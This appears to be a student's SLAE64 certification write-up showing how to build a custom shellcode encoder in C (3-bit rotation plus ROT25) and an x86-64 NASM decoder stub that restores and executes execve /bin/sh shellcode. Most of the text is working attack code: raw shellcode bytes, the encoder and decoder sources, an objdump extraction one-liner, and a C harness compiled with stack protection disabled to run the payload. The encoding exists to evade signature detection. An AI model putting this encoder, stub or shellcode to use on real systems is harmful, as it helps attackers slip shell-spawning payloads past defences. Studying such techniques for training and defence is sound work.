Notes, Code, and Others
This assignment consist on creating a Custom Encoder like the Insertion Encoder, and create a PoC using the Execve-Stack as the shellcode. Once this is done, a decoder stub has to be implemented in ASM to decode our shellcode and run it. The encoder will be done using C language.
The Encoder requires a working shellcode as input. This shellcode, will be encoded with the schema, and the results will be printed in hexadecimal for use as desireed.
The encoder will do the following:
First to do in the Encoder, is to shift 3 bites to left on each byte of the original shellcode:
This is implemented in the following way:
shifted_byte = ( original_byte << SHIFTS ) | ( original_byte >> ( BITS_TO_ROTATE - SHIFTS ))
Where:
Once the original shellcode has been Left Shifted, it’s time to ROT25 it. As we work with bytes it’s values can go from 0x00
to 0xFF
0x00
.This table will show the idea:
--------------------------------------------------------------------------------
| Original Value 0x00 0x01 ... 0x80 ... 0xe7 0xe8 ... 0xff |
| Decimal Value 0 1 ... 128 ... 231 232 ... 255 |
| ROT25 Value 0x19 0x1a ... 0x99 ... 0x00 0x01 ... 0x18 |
--------------------------------------------------------------------------------
This will be implemented for each byte in this way:
rot_max_value = 256 – 25 ; 231 (0xe7)
if (original_value < rot_max_value) then
rot25_value = original_value + 25
else ; Here the value will be 231 or greater
rot25_value = (original_value + rot) – 256 ; It's rotated from the start
end if
The encode will be implemented in C language.
unsigned char code[]= \
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50
\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
// 3 bits left Rotation
for (int i = 0; i< strlen(code); i++) {
code[i] = (code[i] << SHIFTS) | ( code[i] >> (BITS_TO_ROTATE - SHIFTS));
printf("0x%02x,", code[i]);
}
// ROTX the ShellCode
unsigned char rot = 25;
unsigned char max_rot = 256 - rot;
for (int i = 0; i < strlen(code); i++) {
if (code[i] < max_rot) { ; value < "231"
code[i] = code[i] + rot; ; Add 25
printf("0x%02x,",code[i]);
} else { ; value >= "31"
code[i] = (code[i] + rot) - 256; ; value = original_value + rot - 256
printf("0x%02x,",code[i]);
}
}
After this all, the Encoded shellcode will be printed in screen. This is the shellcode that needs to go into the ASM Decoder Stub to be decoded and executed. The following info for later use is printed on screen:
The Encoder code can be found on GitHub Repo for this assignment, in the Encoder.c file:
#include <stdio.h>
#include <string.h>
#define BITS_TO_ROTATE 8
#define SHIFTS 3
unsigned char code[]= \
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48"
"\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
void main (void)
{
printf("\nShellCode Length: %d\n", strlen(code));
printf("\nOriginal ShellCode:\n");
for (int i = 0; i < strlen(code); i++) {
printf("0x%02x,", code[i]);
}
printf("\n\nShifted Left 3 bits ShellCode:\n");
// 3 bits left Rotation
for (int i = 0; i< strlen(code); i++) {
code[i] = (code[i] << SHIFTS) | ( code[i] >> (BITS_TO_ROTATE - SHIFTS));
printf("0x%02x,", code[i]);
}
printf("\n\nROT25 ShellCode:\n");
// ROTX the ShellCode
unsigned char rot = 25;
unsigned char max_rot = 256 - rot;
for (int i = 0; i < strlen(code); i++) {
if (code[i] < max_rot) {
code[i] = code[i] + rot;
printf("0x%02x,",code[i]);
} else {
code[i] = (code[i] + rot) - 256;
printf("0x%02x,",code[i]);
}
}
printf("\n");
}
Time to compile the source:
SLAE64> gcc Encoder.c -o Encoder
And execute it:
SLAE64> ./Encoder
ShellCode Length: 32
Original ShellCode:
0x48,0x31,0xc0,0x50,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x53,0x48,0x89,0xe7,0x50,0x48,0x89,0xe2,0x57,0x48,0x89,0xe6,0x48,0x83,0xc0,0x3b,0x0f,0x05,
Shifted Left 3 bits ShellCode:
0x42,0x89,0x06,0x82,0x42,0xdd,0x79,0x13,0x4b,0x73,0x79,0x79,0x9b,0x43,0x9a,0x42,0x4c,0x3f,0x82,0x42,0x4c,0x17,0xba,0x42,0x4c,0x37,0x42,0x1c,0x06,0xd9,0x78,0x28,
ROT25 ShellCode:
0x5b,0xa2,0x1f,0x9b,0x5b,0xf6,0x92,0x2c,0x64,0x8c,0x92,0x92,0xb4,0x5c,0xb3,0x5b,0x65,0x58,0x9b,0x5b,0x65,0x30,0xd3,0x5b,0x65,0x50,0x5b,0x35,0x1f,0xf2,0x91,0x41,
SLAE64>
The result, as expected, is the original shellcode and both steps of the encoder results being shown in ASM format to use in the Decoder Stub. The end shellcode is the ROT25 Shellcode.
The decoder stub will be done in ASM. It gets the encoded string generated with the Encoder. The ASM file is well commented in the code. What the code does to decode is: but mainly what it has to do is:
The encoded shellcode needs to be stored as a string (db
) in the ASM. For this reason, jmp-call-pop
technique will be used to reference to it.
In the code, two values are defined:
The program goes decoding the string over itself, and once it has been completelly decoded, jumps to the first instruction to execute the original shellcode. This instruction will be the first byte of the defined string.
The ASM code can be found on file Decode-Execve-Stack.nasm at the Assignment GitHub Repo:
global _start
%define ROT 25
%define SHELLCODE_LENGTH 32
section .text
_start:
jmp short jmp_shellcode ; JMP-CALL-POP
jmp_real_start:
pop rsi ; RSI stores @ of the shellcode (jmp-call-pop)
push rsi ; Backup of RSI for later use
pop rbx
; Decode the ROT25 from coded shellcode
; (a)If shellcode[i] >= ROT, substract ROT to shellcode[i]
; (b)If shellcode[i] < ROT: Add 256 - ROT.
jmp_rot25:
push SHELLCODE_LENGTH ; RCX <- shellcode length to iterate throught each byte
pop rcx
jmp_rot25_bucle:
cmp byte [rsi], ROT ; Compare the value of the byte with the ROT
jl jmp_rot25_2 ; If less jump to do (b)
sub byte [rsi], ROT ; Doing (a). Substract ROT to encoded shellcode byte
jmp short jmp_rot25_end_bucle
jmp_rot25_2:
add byte [rsi], 256-ROT ; Code for (b) operation
jmp_rot25_end_bucle:
inc rsi ; Next byte of the shellcode
; Check if all bytes of shellcode been ROT25'ed
loop jmp_rot25_bucle ; Still bytes remaining, start bucle again
loop jmp_rot25_bucle
; Cicle Rotate to Right shifting 3 bits
; ROT >> 3
jmp_rotate:
push rbx ; Restore shellcode address to iterate again
pop rsi
push SHELLCODE_LENGTH ; For the loop to iterate each byte of shellcode
pop rcx
jmp_rotate_bucle:
ror byte [rsi], 3 ; Rotate right 3 bits
inc rsi ; Next byte of the shellcode
loop jmp_rotate_bucle
jmp_execute_shellcode:
jmp rbx ; Jump to execute the original shellcode
jmp_shellcode:
call jmp_real_start
shellcode: db 0x5b,0xa2,0x1f,0x9b,0x5b,0xf6,0x92,0x2c,0x64,0x8c,0x92,0x92,0xb4,0x5c,
0xb3,0x5b,0x65,0x58,0x9b,0x5b,0x65,0x30,0xd3,0x5b,0x65,0x50,0x5b,0x35,
0x1f,0xf2,0x91,0x41
The Decoder.nasm file is compiled, and the shellcode is generated using objdump
one line command:
SLAE64> nasm -f elf64 Decode-Execve-Stack.nasm -o Decode-Execve-Stack.o
SLAE64> echo “\"$(objdump -d Decode-Execve-Stack.o | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\"""
"\xeb\x27\x5e\x56\x5b\x6a\x20\x59\x80\x3e\x19\x7c\x05\x80\x2e\x19\xeb\x03\x80\x06\xe7\x48\xff\xc6\xe2\xee\x53\x5e\x6a\x20\x59\xc0\x0e\x03\x48\xff\xc6\xe2\xf8\xff\xe3\xe8\xd4\xff\xff\xff\x5b\xa2\x1f\x9b\x5b\xf6\x92\x2c\x64\x8c\x92\x92\xb4\x5c\xb3\x5b\x65\x58\x9b\x5b\x65\x30\xd3\x5b\x65\x50\x5b\x35\x1f\xf2\x91\x41"
SLAE64>
Using the shellcode.c
template, the generated shellcode needs to be executed and for that, it’s placed into the code[]
string on the file. This file can be found on the shellcode.c at the Assignment GitHub Repo:
#include <stdio.h>
#include <string.h>
unsigned char code[]= \
"\xeb\x27\x5e\x56\x5b\x6a\x20\x59\x80\x3e\x19\x7c\x05\x80\x2e\x19"
"\xeb\x03\x80\x06\xe7\x48\xff\xc6\xe2\xee\x53\x5e\x6a\x20\x59\xc0"
"\x0e\x03\x48\xff\xc6\xe2\xf8\xff\xe3\xe8\xd4\xff\xff\xff\x5b\xa2"
"\x1f\x9b\x5b\xf6\x92\x2c\x64\x8c\x92\x92\xb4\x5c\xb3\x5b\x65\x58"
"\x9b\x5b\x65\x30\xd3\x5b\x65\x50\x5b\x35\x1f\xf2\x91\x41";
void main()
{
printf("ShellCode Lenght: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Now it can be compiled with gcc
:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
The resulting file is the one to execute, that doing it, the result is the expected:
The GitHub Repo for this assignment contains the following files:
This pages have been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: PA-14628